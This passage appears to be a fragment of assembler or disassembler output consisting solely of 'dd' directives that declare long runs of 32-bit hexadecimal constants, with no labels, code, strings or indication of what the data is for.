7FF99E47h, 6C1A0F91h, 0E141A2E5h, 0C9C9BB8Ah, 0E7E18B1h dd 2CDA3BB6h, 794CBBC8h, 0B8AAE93Dh, 0E22D0E9Ch, 634B717Dh dd 0C59A07CAh, 75FC03A9h, 0E8BF88FEh, 0B13A0563h, 0E2E1471Ah dd 626CB1Fh, 43811F39h, 0D59DE359h, 39DF65E9h, 0FEDD9FBBh dd 146CB1F1h, 6BCC5F4Fh, 7B6E41B0h, 0DA88507Fh, 0C71CDBCh dd 0F9E04B55h, 354B8CF2h, 0FDC458DFh, 62F93792h, 0AD2A9DF0h dd 0C8FBF096h, 0CEBBA8EFh, 7E529B3Eh, 9CF0933h, 7690E10Ch dd 853E4278h, 2A6C2D58h, 79AF01EEh, 7B0BED50h, 4A7B704Ah dd 507E5EF2h, 29885F51h, 0AD06446Dh, 0D06F3905h, 0FCCD8CD8h dd 0F1CF61Ch, 0F112F7B4h, 0FCF6CDAEh, 995AFFEh, 0B56FFC2Dh dd 0DB909A69h, 0D91D3CF2h, 0C96466CDh, 0F569FE7Ch, 0C14073BFh dd 1AC0DC6h, 0FAB2BE62h, 775AC4E2h, 33209994h, 0B7C14023h dd 5F679E49h, 0BC5BFE85h, 0B2FBB97Eh, 653B9D84h, 125402F9h dd 791C51BAh, 72189A67h, 0C38B5062h, 2AB0BA88h, 0C13EC9C9h dd 0D3E2C802h, 0D97AA738h, 1E3EC71h, 5E0D1BF9h, 6FE85118h dd 0E138431Eh, 8C91535h, 36B4C6B9h, 0F97CCAA8h, 36BBD3ADh dd 7C78752Eh, 7F61E209h, 632102B4h, 36C5DFCCh, 6E7F6601h dd 0CA769123h, 61A8660h, 2DEBE264h, 38F75A9Fh, 2694A876h dd 220D6117h, 21D4688h, 937FA4CBh, 93B78EBAh, 41899435h dd 0A27AA4F0h, 0DC7DAC84h, 9CE560A6h, 6408A5FFh, 88DF9985h dd 0EDD7B94Ah, 6060E90Ch, 10488D6Ch, 83DCFA98h, 5B9BFF36h dd 9D002A13h, 1E5CC76Fh, 564EC9DCh, 60D133F4h, 4AF3D2E5h dd 0BAB35FFCh, 93DCA561h, 2AA91087h, 0CA937289h, 0F82AD86h dd 0B5BB9DFBh, 24DC2A58h, 0D0F3A9B8h, 86BF24BBh, 0D252C1C8h dd 0ED276630h, 0D2E7AA79h, 203BB6F3h, 5C9B8322h, 4C44817h dd 8143EDC4h, 8547110Fh, 888DA3D3h, 4FDB1C73h, 97D1A37h dd 98F52647h, 42266439h, 5BB70F67h, 16DAC5F1h, 0B31BD121h dd 23B4E7Ah, 1E989076h, 79D28438h, 0B149D9EEh, 0D1CDCFBDh dd 28CC4DBFh, 5086701Ch, 1DD861CEh, 19F1D8B1h, 2D2917C7h dd 84E8C680h, 0BF44F50Ch, 3441D889h, 0BF53FA3Eh, 9044A71Ch dd 0A3EB8AE9h, 7DB8DD92h, 7B002295h, 0BEBAA974h, 274C4039h dd 0E2E6854Dh, 9DC12EB6h, 6C963295h, 0B81163F0h, 223F1197h dd 6D8D698Ah, 9086627Fh, 5596F41Ah, 331661A3h, 8D60523Ch dd 0C87A5EA3h, 8D3F7E80h, 88F358DEh, 85C023E2h, 7A9A98CBh dd 5E29D9F3h, 2B1D8BE9h, 0AF661BC7h, 0DFA0DF6Dh, 5FE346B6h dd 0D2A57E60h, 3147C2A1h, 7952A786h, 0FA19748h, 9B76E5E3h dd 0DBB05BBh, 2778C4C1h, 0C6CD4CBh, 472DD26Eh, 0C7CEABECh dd 0BC8AC01Eh, 8A624AA2h, 0EF2C8E62h, 5BF615CCh, 48E9F46Ah dd 6D921F15h, 1F8E8E4h, 6EEBF41Bh, 280473C6h, 0AAEED130h dd 9733BE41h, 32A50181h, 5D9112C1h, 0A18ABC89h, 325FB306h dd 910A0DCEh, 15AA19ADh, 0D794BEEh, 82C8BE1Dh, 0ACFF1B9Dh dd 0CA7D6A22h, 587B36D4h, 0C2F680C7h, 0F0DC5E1Fh, 0B0695615h dd 8E1B36D5h, 988B978Ah, 0B6B8F7DAh, 9DC6D463h, 0B9B85318h dd 0E12FFD26h, 90D3F4CDh, 7064F30Eh, 63E3B286h, 2DB1F81Dh dd 0A90FA817h, 0D68CF6C1h, 83519FEEh, 0E6C56C4Bh, 3454BC34h dd 2CF4DEEEh, 0C167969Ch, 0A8A51BB3h, 72437891h, 44461FC1h dd 3E0849D0h, 1B8A90EDh, 196CA339h, 0DC161864h, 2DB96B21h dd 9BAA791Eh, 0F9415FD2h, 1FA7C13Ah, 0A0D18FF9h, 67AB2300h dd 566FE859h, 5A65373Eh, 9AA4027Ch, 2FF17DDAh, 11397EA1h dd 0E2AFAAA9h, 0C2B11188h, 30FCC252h, 6D055E77h, 5FDEEC39h dd 0A0C2C7AFh, 0C35B93A5h, 14494E5Ah, 0A4039F20h, 0E3D94342h dd 51747CADh, 67773775h dd 8B36DA57h, 68E36454h, 255864C1h, 0D45E176Fh, 53A18F4Fh dd 977E0BABh, 36D7F0FDh, 0C9B47B6Fh, 0F3228C03h, 8D2E34ECh dd 0F4BE1DC3h, 48863F58h, 1812B77Eh, 752A0863h, 2C4DCAB4h dd 2F93B0C1h, 3A9F52B1h, 23BCDA6Eh, 290600BDh, 0F00FDAC6h dd 0A750AD7Fh, 0F9F814B5h, 16534178h, 0FABAE243h, 0AB483CADh dd 0EF0B1EA3h, 2DC89BADh, 0B5D4D175h, 0E5E469D9h, 0D412B91Ah dd 2B863D73h, 0C1A0A4D1h, 0AEC4E2FCh, 0FB8DC285h, 0F98C36E8h dd 3FAA0984h, 2787DA86h, 0E69E5DACh, 0B4F634E8h, 0F612A0EAh dd 595EF2EFh, 0E0D1073h, 167A8678h, 9F8AC3C4h, 0FF524000h dd 5D316F0Ch, 0B698F744h, 0E7DF449Fh, 0BBDD7321h, 8BAF6958h dd 94AC08D3h, 2FABC044h, 25B6F404h, 0A182FD5Eh, 0F9BEBED7h dd 56ECDCC2h, 1AB4F6DCh, 0E39E2EDDh, 0F154B0AEh, 78906F34h dd 0A87D71A3h, 0C857B691h, 0C808623Fh, 86A002F2h, 87E726B1h dd 0D8751DAFh, 7617802Eh, 0B3A0893Bh, 6077C5E8h, 0D50C6D4Eh dd 0EB8BA934h, 0C355EDA2h, 0DEEEF6Eh, 0A0F7D977h, 5C8BBFC9h dd 3BB7B2EEh, 0E80F9F85h, 32595AB3h, 0CFEF756Eh, 0F2EEA80Bh dd 73CB7056h, 0E8A96C8Fh, 191296FDh, 0A4C06442h, 0CB9C5737h dd 0DDC594Ah, 66149955h, 7B518913h, 4143A4B4h, 6C5D2465h dd 9BA8CBF9h, 1F74043Ch, 0B6F3C259h, 0D5A835A5h, 875B9745h dd 694C34B2h, 8931B53Ch, 1A252387h, 0A3A9DBAAh, 254982EBh dd 7E6C73E0h, 47259735h, 0D11451C3h, 0F64030C9h, 0DBD3E0Eh dd 4B2795A7h, 367F4F6Dh, 75252FDAh, 0CBA6C20Bh, 0C5E82942h dd 8B384E44h, 623F077Fh, 5B8004C3h, 1ED0D301h, 5125B9E0h dd 6CB5CDFEh, 341D0849h, 290C74BAh, 5FC54EC1h, 60FEBE7h dd 0F430F0ECh, 0F937E257h, 0C8588CA4h, 63BE15FAh, 16F05307h dd 3A3120B2h, 5E18680Dh, 66C1B35Dh, 8B031345h, 0B6F7EF16h dd 6B34579Ch, 0A924CD37h, 9EF922DFh, 0C1626C44h, 66286F2Eh dd 0BBD4203h, 0EC593DC3h, 0C20EC5CEh, 43ED8E9Bh, 4D2D96B3h dd 334B4ABh, 918AAA5Eh, 47493E0h, 697AB18Ch, 0A6D2192Bh dd 0E50F42BFh, 0E32FEEEEh, 9CEAA369h, 1369D2BCh, 5EEA27Eh dd 0CBB65E7Bh, 5902A645h, 6CF67B55h, 0D2C396ABh, 0AB7CD7E8h dd 0C4D218E2h, 88A7E74Ah, 0F1758BDCh, 0C9179C82h, 80483901h dd 245572CDh, 0D41877E1h, 3D67D82Eh, 63545299h, 0F5F3ABE8h dd 44A85E3Ah, 0D660FC73h, 32DB1F02h, 184B9545h, 0E3564929h dd 0B4EEE648h, 40EBB589h, 0DE618D6Eh, 0E54119D1h, 7B9295AAh dd 0E1E77774h, 73BB2A70h, 0E2FD6FC8h, 513B670Dh, 0BA4BACEAh dd 0EF00226Fh, 1D6A54BDh, 0CC913790h, 0CB02204h, 0F9A0C893h dd 3E571C3Eh, 0D17CAAD8h, 0C7113880h, 0BC42BA45h, 697B5FFFh dd 625FB22Bh, 0C61B2CFEh, 18440703h, 9EC73B3Fh, 356D66A9h dd 4D773CB4h, 12BC3712h, 0C042E210h, 78B2742Ch, 0E2A9F563h dd 8BA48EDAh, 3A8B6361h, 0A6E480B2h, 525D336Bh, 0C91B470Bh dd 0BA0927CDh, 68EAB950h, 34649845h, 0EF727F63h, 0B79F939Ch dd 0EC71D7A7h, 0B73B0587h, 7D09F86Bh, 5F8B301Eh, 0BE206E66h dd 0CC60948Ch, 7F2C8332h, 4B7B18BFh, 9AF3930Dh, 83E71470h dd 963C8A81h, 0F2D5F39Ch, 0AC5CB54h, 15C3EE6Ah, 0CDAD646Ah dd 0FFF5676Dh, 1FD4CDD0h, 5BB81CFFh, 0A9028F46h, 503FD0A7h dd 0E22030F9h, 81FDC19Ah, 0D3AD4208h, 1B65E31Ch, 0F8FB4B47h dd 5A61617Bh, 9AD05A3Eh, 0F107E6E0h, 0F04B85DDh, 2FFE08ABh dd 0F05F4F03h, 1C771610h, 6C30CA58h, 479F102Bh, 921123Ah dd 0C521D026h, 0F8EB5A71h, 7B515F8Ah, 33950D53h, 21B47F2Ah dd 0A4672413h, 1BC1CE29h, 0CA2E6998h, 0CE29A67Ch, 46D72215h dd 2977A83Fh, 58F9F508h, 0A93B6672h, 0D586F782h, 8BCC3770h dd 2A399FF3h, 2E12D398h, 937D46FEh, 0C852F593h, 9081D813h dd 904C9422h, 0DF25600Eh, 0FA2C9D45h, 34209F05h, 0C1FAAEBFh dd 62356B46h, 0FDB1E957h, 0B951CCD0h, 9AF46012h, 0A29B849Dh dd 5C38953Fh, 0BED0C080h, 0E1B61B80h, 0F0F03F1Eh, 2C4131FFh dd 0F754EA0Ch, 0E4BC649Fh, 47F5BDE2h, 0A303F5Fh, 0F4B5B302h dd 4471D102h, 616FCD1Eh, 0FBFF2354h, 0E933037Eh, 9AD19336h dd 89F6AEABh, 0B66EB9Dh, 0C6CF087Dh, 5FF05830h, 61AB7791h dd 0D4894FBh, 1EC9C678h, 86A68677h, 786AC13h, 0FEF8DCF4h dd 0D3EECFF5h, 0FA0D64BBh, 0C7F70BE2h, 0E9A32F9Dh, 1D9F4BD8h dd 0E5A21350h, 616B1B36h, 0A28BC9DFh, 92F6D530h, 0CC9FA622h dd 0A20E5D58h, 526F8E6Eh, 538D216Eh, 2E91FED6h, 1221E040h dd 0C9229F55h, 754857B5h, 77C5D6A2h, 9A07CF47h, 0E6571893h dd 0A834A3D0h, 0B0CA90C8h, 0F2CBAD08h, 0CC9BA29Eh, 4E72B194h dd 2B23BBFEh, 0D74819ECh, 0E58089CCh, 7E33DEA9h, 3AD84D87h dd 100A0C0Dh, 0AB988C64h, 0EA184CA0h, 0E70F2EF1h, 82642F21h dd 0ED12CD4Ch, 0EA978D0Fh, 9F2824E3h, 84AB7C8Ch, 3983620Fh dd 0FCD84B08h, 0F2132500h, 589CE826h, 5D541540h, 5F418914h dd 46DBDFBDh, 0A9C1E17Eh, 96031117h, 3F2C92C5h, 49E86024h dd 53978E2Bh, 0B2565FBEh, 0D22BC8A2h, 508D81E5h, 3DF0E5E5h dd 0A3651325h, 94458032h, 0CABEF737h, 0F2F5EE49h, 0AAF5D55Eh dd 2F1D9B09h, 0B05E5916h, 0B6713FD5h, 70196624h, 3478B611h dd 7CEED72h, 35750BB7h, 897BE7FDh, 0E5FDE86Bh, 0ED241Bh dd 0AD2364C7h, 5943D8B8h, 0A795AF45h, 929A4D03h, 9E47CA50h dd 4378BC5Ch, 2A51B0C6h, 7051BB4Dh, 9CD9B662h, 0BB055E2Ah dd 622D7B97h, 1DD26F77h, 0AD087407h, 742F99F8h, 0AF89D96Fh dd 4BC1D8F7h, 87502919h, 0B461DB96h, 3B556DD6h, 5B0B5F4Fh dd 32A70242h, 0CED8C1ABh, 3C251C35h, 0B529529Dh, 0EE864CDCh dd 2A633081h, 8CCFF126h, 81AC926Dh, 0E95C9FD8h, 0F4864812h dd 6C0752A8h, 413ED0F7h, 19F745h, 0CB788D43h, 7F9C3689h dd 32F65FCCh, 2606D69Bh, 38C3C229h, 68AB1BB1h, 8A2FBA2Fh dd 0D3E4A4Dh, 0F3EF4AECh, 93DEECF6h, 0F4A9BDFh, 586387FFh dd 551007Bh, 34A86D8Ah, 55C1DF8Ah, 0A125B2D1h, 7B10FEB1h dd 643F28ABh, 12D40C38h, 0DA22C99Dh, 9CD66B7Dh, 7D0882BDh dd 80EC91B3h, 54FDB480h, 178ACAB6h, 0A862B164h, 28C9FDD0h dd 0CB394B5h, 0DC91AD79h, 0D7E55C8h, 28C99766h, 18F6AB80h dd 0F37B05F6h, 0E3C27C32h, 0F49DF7C3h, 55462684h, 3B62D426h dd 0AD06FE81h, 0BC0C5A25h, 7DAA31CFh, 3EA157DFh, 7BE362A3h dd 0E9A917DBh, 0A7EA83A7h, 955699EFh, 13437CAh, 23C76396h dd 4295FFC0h, 58789430h, 0EB0396B9h, 49876A95h, 403F4BDh dd 0B25E8677h, 1D7E2AF6h, 0A09C66BAh, 0E86469FAh, 0E4B79948h dd 6835378Eh, 6B11D2Fh, 0CA33A410h, 7A9D616h, 6A5A0436h dd 2E084BB7h, 0ADC3D2E9h, 48052981h, 3A8573DAh, 8D8FB3CEh dd 95A10BA1h, 0D6CB7BD1h, 0BB63F74Fh, 701AFEEFh, 0DFABE909h dd 0D31B4566h, 14B62A16h, 319EFC91h, 99827287h, 8EEA1944h dd 2507D31h, 49D94158h, 74995A4Bh, 5664CBCEh, 0A302C363h dd 402F2326h, 5B4FCA2Ah, 0EB8476F5h, 0C4DCC684h, 48AF78FDh dd 0F4843737h, 4D66F674h, 847C633Ah, 0D2D910D9h, 0CD105103h dd 8652A577h, 0A9D5E8D0h, 1B699F8Ch, 9D1FC73Dh, 3FC0606Ch dd 0F69C92C6h, 91BDABCCh, 758D77FFh, 66660492h, 564D89CBh dd 822BFE2Dh, 3E59282h, 0B26AAC2h, 9530B1F4h, 4BBFFF36h dd 0F03CBD04h, 147CA1A4h dd 6926E4E9h, 5F5F2389h, 0B4530888h, 71C8E609h, 0C746ACE9h dd 2A81F2CEh, 0A947248Bh, 0DB62DB69h, 0D8EB8C30h, 0A354F0A0h dd 0F6D2C3C8h, 53A1ACFBh, 2984506Fh, 0C364551Ah, 4F89204Dh dd 0D6A36D45h, 0B09BAD4Ch, 39FB4AA8h, 9CEF1C07h, 3C0D14B8h dd 0CC5A0471h, 895509BDh, 4E80311Bh, 0CFA82DDFh, 4DD05FDFh dd 0B621ADE0h, 3C4725A4h, 84C8D47Ah, 1D48B1DDh, 0EC5F4546h dd 9BBADAB7h, 0C3031EF7h, 45CD4DEFh, 0AF7A14DDh, 0ED8AB854h dd 0F91AEEE2h, 99F285B1h, 60BCF46Dh, 5DC3E951h, 0F560DEE0h dd 184957ADh, 0B756674Dh, 0E6D52170h, 23A334B1h, 47497B2Dh dd 3906BCAAh, 0DAD529Eh, 0EE2912CDh, 13143BAEh, 0DD5E8FCDh dd 52064ABBh, 3631A0A1h, 0AB598730h, 68855B09h, 0EBF6D368h dd 8B56B659h, 0EB6EFD67h, 6150390Bh, 0D382D252h, 0D5C02C10h dd 82FD27BCh, 0AF50B484h, 0D4A799CCh, 0D525B947h, 4ADE4335h dd 2402A9CBh, 0C68AFF77h, 257F5B8Fh, 81ABA13Ah, 0C83B1D29h dd 76E635E5h, 6DF24E83h, 0F89060Ah, 0EAF5A84Bh, 157496BCh dd 0EFF533FFh, 8312590Ah, 0A4CBC06Fh, 0B0B3DB2h, 89527641h dd 3A1891B5h, 0CE52B286h, 0A5C280C0h, 52A69F6Ah, 0BE8D2774h dd 80B849DFh, 56BDE74Ah, 0BC445BEAh, 56307619h, 0C25E54AEh dd 6D030733h, 585928Eh, 30C57006h, 16CE39Ch, 8EA72918h dd 46B9AFC6h, 0C758D9E3h, 0AB926C0Eh, 2E943CC8h, 69EBA1CEh dd 963AB8Fh, 6AE1B3BBh, 6037A8A4h, 817F05E3h, 0A0564792h dd 0D0035B6Ch, 4F0F38F9h, 6A281373h, 0F8C562E2h, 0E7B53601h dd 7173F52Bh, 0E23DAAC5h, 386C9F13h, 0F2AF779Eh, 5619404Dh dd 2B7DD843h, 0A9022983h, 0A6C3FB68h, 0A58C41B1h, 3AFBEECBh dd 5A2DA446h, 84D08EC1h, 1879629Eh, 0BCF2EABFh, 0A4593160h dd 0B92352D7h, 0F33B7E25h, 0A0D2653Fh, 0FFA78662h, 0CB6E44C2h dd 0FB7B1DEEh, 0E1A26F2Dh, 675C69Eh, 51C783D6h, 489CECE1h dd 0FD22EFECh, 0FD7C028Ch, 37D605E2h, 33CE007Ch, 533CE3A5h dd 0E24279CAh, 0BC5D966h, 2CD0B42Fh, 970842EEh, 0E1AB5A37h dd 14F17FE9h, 0DF078315h, 6297D789h, 0DC95210Dh, 0FA1C2550h dd 3EBBBCE7h, 0C626B16Dh, 0D03B2F48h, 0D7432D0Ch, 2988FBAAh dd 9F3D947Dh, 0BD7D48B1h, 6EE162DEh, 0F113D8E9h, 0E2D889CCh dd 9EC21602h, 0FF88D221h, 0DAE073BDh, 0ED63834Bh, 7E4C15C5h dd 65FE88BDh, 5370E2D9h, 0F2A9295h, 0D8CDD7F0h, 13DCC1AEh dd 0D6EDA5BDh, 0DE62E72Ch, 3426C972h, 437C31F7h, 6544F20Eh dd 5CB20C9Ch, 378125D8h, 0D05DF572h, 62FE0925h, 0F8A9B3F7h dd 0FC385ECFh, 130E4D51h, 0DE574811h, 0EF40D416h, 0BC124F41h dd 760B7067h, 0FC3E5632h, 9B82CF9Fh, 0EE4C62CAh, 44CA0FABh dd 0CF06CBD9h, 836833E7h, 2517AAC8h, 0B3DDFBBEh, 0B5495658h dd 1E7492FDh, 0BDEA59D6h, 0E26647C0h, 5AC6DF8Dh, 0BD69C65Dh dd 24C3FC8Eh, 7F6FD8B5h, 0E83E675Ch, 0CACC238Bh, 0E679EBCAh dd 0D44CF37Fh, 5023E228h, 6BA57BD8h, 0AC8DA9BCh, 0D8CAAD0Fh dd 0D5B497F7h, 96E2426Eh, 37D867E1h, 2962A772h, 3AE37ED7h dd 9B584ECFh, 46691DDDh, 143F5498h, 0A29848AAh, 16888A24h dd 8D784F5Dh, 82F508CAh, 0CB1A0D59h, 891DC441h, 0CAECAB9Bh dd 653D9A01h, 5C86EB9h, 0D1062D07h, 6DE35FB9h, 0B42D0859h dd 0E1EC96D6h, 4E6C48BFh, 2A4E8028h, 0FEA1794h, 29E8AEAFh dd 9F14E8FFh, 0CC39A453h, 0F03BAE52h, 4C124D08h, 7FA8F00Bh dd 80D776D9h, 0D9F7A842h, 0A0867B8Eh, 5EA8A4D1h, 0C0E81F2Dh dd 0CA082DE0h, 0D1403D51h, 0E88A6B95h, 0BF4FDE56h, 71D2DAE0h dd 4ECF0ECCh, 84A7952Ch, 1B34FA3Ch, 10DAC33Bh, 4F4E278Dh dd 62A656FAh, 337BCD09h, 6DB09EDDh, 77F8D77Dh, 4FB9F11Ch dd 331A8BA8h, 321B577Ch, 827B1ED2h, 0BA1C810Ch, 0E4E9ED61h dd 782271EEh, 92EAAFECh, 0BE8D5815h, 43A2428Ch, 0F3D78F9Bh dd 5CB83867h, 5D59935Fh, 0F6921EFh, 0A8E66E03h, 0B3E31195h dd 0DCF545E1h, 30741518h, 5F3CA648h, 0F79565F2h, 6FC10215h dd 0E0A85EF9h, 2E3B18E6h, 4B1E2E10h, 7A5C5B8Dh, 3386221Bh dd 0B4D0A992h, 56ED0A8h, 9224F186h, 6DFEF516h, 1E799DBDh dd 20A6476Dh, 865BD92Ch, 935D607Dh, 1845C0E8h, 1A52EDAFh dd 7B981CB2h, 7D4FFBCFh, 0B7818424h, 3C915DFDh, 2876459Eh dd 0FC27EAD3h, 0A07B0249h, 0F1310AC6h, 0DC3AE0A4h, 1A01015Eh dd 0BB636AD7h, 3FF6D868h, 88A599BEh, 7C4455F8h, 6BFC7082h dd 0FC548803h, 0B3E5B341h, 28BE6922h, 32C292D0h, 0D3688FB4h dd 0B7932FBAh, 0ECFBF9A0h, 3C55A38Fh, 74F2238Dh, 0B4427609h dd 89D8B517h, 20E042A0h, 17561FA5h, 350D94BBh, 2A5C6093h dd 211BD8F1h, 9B8CB212h, 9032391Ch, 4DAFBBF1h, 0F1F1DE07h dd 5F2F2815h, 345D2B88h, 2959E1AFh, 6B2A80FAh, 2E1ABE34h dd 143868A7h, 2CD17C3h, 10D0C74Eh, 86638E1h, 3F205296h dd 0A7E5DBA3h, 798CE9B1h, 0F12F9ED4h, 0F08B5344h, 6F9958Fh dd 653D2AE5h, 1D3838DFh, 23545A21h, 0E28C540Ch, 3A30D9BAh dd 647713E1h, 94ECA9Fh, 0F5CF0888h, 853A0982h, 0E9EF585Ch dd 154172Dh, 7F037C5h, 14D37AD0h, 6E39F17Dh, 0C4103C66h dd 0DBB83A8h, 4D4A3FEDh, 1E8B080Fh, 0A8DE02BCh, 0DA51993Fh dd 63E9042Bh, 0DB2EE874h, 2EC65E82h, 0A9A26525h, 8960C925h dd 0F8654D8Ah, 0F7F54FF7h, 1EF17DABh, 2B5D5DE0h, 76B219E9h dd 33612395h, 6DAC2F4Dh, 0ED13902h, 9699420Eh, 7713DDB5h dd 94A2DE94h, 221DC5FCh, 806D799Dh, 6FD8F36Ah, 0D120A526h dd 0EE8CF8A5h, 0D7566256h, 0D0A7C4B9h, 99140857h, 0CFE0C4DBh dd 67464349h, 0F07D1340h, 3CF7D0Bh, 4DEECD98h, 0ED52663Bh dd 0A618809Bh, 724C1398h, 0E81247CDh, 4E54C554h, 0BE434451h dd 0D8CB33E5h, 495EBB2Ch, 82901F30h, 856DF3E3h, 0DB663127h dd 0D762ED8Ch, 0E89E78FBh, 355F92ADh, 0D451E0C1h, 354EDE61h dd 0C3C19628h, 459C4B18h, 232696EBh, 0FF60350Bh, 3E66DC77h dd 0F02836FBh, 82EEBDD3h, 0FAA10FCDh, 90802A83h, 2AB8C178h dd 0A99E27E1h, 0B0615C94h, 0A8FA2057h, 7C679C98h, 0EA320821h dd 38A5A4E8h, 912B306Ah, 9752F088h, 0B1F55444h, 531B57Ch dd 0C4568392h, 7316388Ah, 0AA5E33F3h, 101133DAh, 39D2AAFFh dd 76D782DAh, 4900D6DBh, 915D62F4h, 0E4146DC5h, 0E2D520F9h dd 0E74AD49Bh, 56FE2C4Fh, 0FFE8ED0Eh, 8DF2A6F6h, 41376A5Ch dd 0E1808BCCh, 2992C6AFh, 9578631Eh, 67F37D4Dh, 0FB934D14h dd 21D648ADh, 0FF37904Ah, 0AC3EAD02h, 339052E6h, 0B9E9F64h dd 0FCA1EBD7h, 6EA2511h, 0AA75CA49h, 0AA9969D5h, 0EB78BFFDh dd 4C5FC3AFh, 0A64A8FACh, 0C7209BBDh, 86D8E10Bh, 0AC08629Ah dd 75A6A68Eh, 0CFF70DBAh, 0EA6FD87Eh, 95DF7328h, 0E89111CCh dd 0C5379246h, 0C19FACB0h, 0D8046E79h, 2C73D92Bh, 0D3235A51h dd 45DCA981h, 0B1D3D6E3h, 2E93E791h, 370C6E1Eh, 64E03994h dd 0B8353B16h, 639EA00Bh, 866D402h, 5AB5F676h, 0ECD45E22h dd 80E3EC0Eh, 0F038BF83h, 619C93DAh, 1AA8286Eh, 0EE964C50h dd 5F974B11h, 21E81B23h, 346A1FE0h, 0FFF9681h, 4E4CBC9Eh dd 94794Ch, 1E106B65h, 305E4E71h, 5B2A5516h, 47231F2Dh dd 54C40922h, 117A4AB0h, 0D6A466Ch, 98A75850h, 0AAB6C3E3h dd 0F233E2E6h, 0BE7246AFh, 7D62D915h, 13508090h, 0EEA64F1Ch dd 0A3A3C07Eh, 3B36BF37h dd 0B618B1CFh, 322D05A6h, 36D1CBADh, 3DB1AA55h, 29850723h dd 0F8AD62E9h, 0F6C88BDFh, 998682DAh, 0C5F53D25h, 0CA227922h dd 19775B2Bh, 97744366h, 8FB569C1h, 3690866Eh, 4056C638h dd 10DD6DB8h, 894EE0A2h, 0C8CAA85h, 5DD8CA52h, 4F14ABB6h dd 163A23E1h, 6C2327DEh, 3836CA98h, 0DD620EE4h, 94B40937h dd 18E42029h, 2F15A5E4h, 3BCDAABDh, 0D7C3535Bh, 123FF3B6h dd 4AB9A36Ch, 7F267F8Ah, 9727FDADh, 3F3D5085h, 0DF2E0AF2h dd 0A7393953h, 933C552Eh, 97CA0A6Bh, 2CD9792Bh, 109E58C5h dd 0D78BCE86h, 0E066118Bh, 62CBD657h, 40C9285Ch, 0B8EB2A30h dd 2B522292h, 593B7A73h, 5B5CC0Ch, 35738E1Fh, 0E38DA70Fh dd 0B30EAE0h, 97D506D0h, 96D3297h, 0DD5D4505h, 1F27FE45h dd 966BFBD1h, 990A76A4h, 3E736296h, 41160D0Fh, 0AE08BAE3h dd 58132AD4h, 43106100h, 83CCEA25h, 0BAAD12E9h, 0D9F05F54h dd 0C1DB0C7Fh, 65896969h, 0F577E3CEh, 0F2A9FAA2h, 0E4D19093h dd 611DB71Eh, 3DA077DCh, 0C8D6CF2h, 687AAEBFh, 5BB8F74Ch dd 0BCF3AC8Eh, 245E932Eh, 0D4DF96F9h, 7433F911h, 1DE1D63h dd 0FC696BFBh, 204FB9E4h, 0BE717E27h, 0FC64E23Fh, 0C42EA54Dh dd 0CF8BB2C3h, 36F08B20h, 9149975Eh, 0FD7AE499h, 9DBE4E51h dd 0E8608EEBh, 31D3D7C5h, 5375178Eh, 0DE880225h, 25165C50h dd 0B689875Eh, 92E6C763h, 6B45A72Eh, 98527F52h, 64826137h dd 6A69AD19h, 525CF589h, 52156EEEh, 1ACE21BCh, 7A64F6C4h dd 9A036F39h, 0EB3A516h, 6C869113h, 7E92DC05h, 5F0E1D26h dd 22602093h, 8637A99Ch, 0F8451106h, 930C6C55h, 1C9FBBE9h dd 74F06D52h, 596DC036h, 0E7FAB544h, 0E296331Eh, 40CC5DAFh dd 56B065Eh, 0F7052CD9h, 7108996Ah, 4C015750h, 22494A7Ch dd 5B3D74D1h, 8F758B34h, 10DADDF1h, 60C36FBAh, 1A97A244h dd 1FA20Ah, 0F33DF18Eh, 64B823CAh, 0F814287Ah, 13AB1A15h dd 37B631E9h, 0FE4AF1F0h, 22560CE2h, 8E36A59Dh, 3B3995D3h dd 917AAE1h, 0F5633E96h, 0C9197E2Dh, 0F15D543Fh, 591F49D5h dd 0DBAD2FAFh, 0E6CE8BB9h, 4B07D16Fh, 40DF6F6Ah, 15953378h dd 29C1EC44h, 5984896h, 8945F331h, 0F2E4FD87h, 0B0B23CF3h dd 7422B857h, 24B491A2h, 129C9AAAh, 5D7A2764h, 95116DEDh dd 0E4991728h, 2643B536h, 0A05ED554h, 0F2198FD8h, 0BE402E7h dd 9A583AA5h, 62C28116h, 0F579CB26h, 0A688FE65h, 6C50E168h dd 27CCC364h, 5615FD64h, 43A90A7Dh, 79631663h, 1EBD3AF4h dd 584C66FFh, 0F665F6D2h, 8FB0961Dh, 0E4892EE4h, 9E8C5FC0h dd 0B0D21282h, 91FA5207h, 69C16881h, 0EBE99F79h, 0A274487Fh dd 6F549071h, 981A5EB5h, 77810E16h, 95482768h, 0EEB995F1h dd 2BBBA55Ch, 5B3FBD24h, 0F447D469h, 411D4875h, 0BEC9391Eh dd 683684C1h, 0F681785Ah, 4075169Ch, 0E07FC470h, 63774806h dd 93FAD609h, 2A8D5B86h, 0B77123BBh, 9746B39Fh, 2EDB201Fh dd 976F2A2Fh, 2BC00B6Ah, 7599FE53h, 0C4D64395h, 0C13215E6h dd 8DC6CC89h, 0D0B3DB5Bh, 2E9A86BCh, 25E3F2BCh, 633541D2h dd 21BED6BBh, 0C615E6A2h, 0C13A0061h, 7FB1879Bh, 0FBD78550h dd 0C6D16E1Fh, 42BD9051h, 69AD11Ah, 0CF9DEEB7h, 3A9A62D3h dd 0D4D6AF8Dh, 0E7486ABAh, 15501889h, 62F8C037h, 5278C230h dd 0FE2E9965h, 15FEFD22h, 5A46A223h, 64AEE791h, 0BBEBAA25h dd 7CA0D3F6h, 2ABBC381h, 5A2588EBh, 0E37F48A4h, 0D25118D0h dd 1A3F911h, 712024F8h, 0B4B9B15Dh, 0F23D3C2h, 17B23781h dd 0CB78348Eh, 0A632925h, 0E2AF2FA6h, 0C3A37AE9h, 8209F536h dd 0BBE680F5h, 0D652E1D6h, 0E60CAA63h, 2E20FB5Ch, 0EA5CF0BBh dd 0CA12A9FBh, 507D84A8h, 5BB7FF47h, 0FE3BBE54h, 9CAF4FBDh dd 164EA1C7h, 0BAE398D6h, 857FD527h, 4CFEC9C1h, 0DC1031B5h dd 7B6CB9h, 23EFDFF2h, 9387D6C6h, 5E24DA14h, 0BE032596h dd 0FDF4D333h, 4A485001h, 0E8494ACEh, 0D0489BBAh, 0E262DA09h dd 0B9B9D80h, 755CC3B2h, 0DEC18388h, 0C067B8F6h, 817A4ED9h dd 43E000Dh, 6BE64D52h, 0E61CA662h, 3DB8E02Ah, 0FE940968h dd 0ED4B9CA1h, 0B851BBF1h, 5D64F8DCh, 56FD6691h, 38799B60h dd 30566A52h, 59AD4BCh, 0FF983DE7h, 0C8EDC3BDh, 0B98B656Fh dd 0CA52379Bh, 45CFBB3Fh, 0E2367326h, 877C0EB7h, 43921737h dd 81F521CDh, 0E15E8B2Eh, 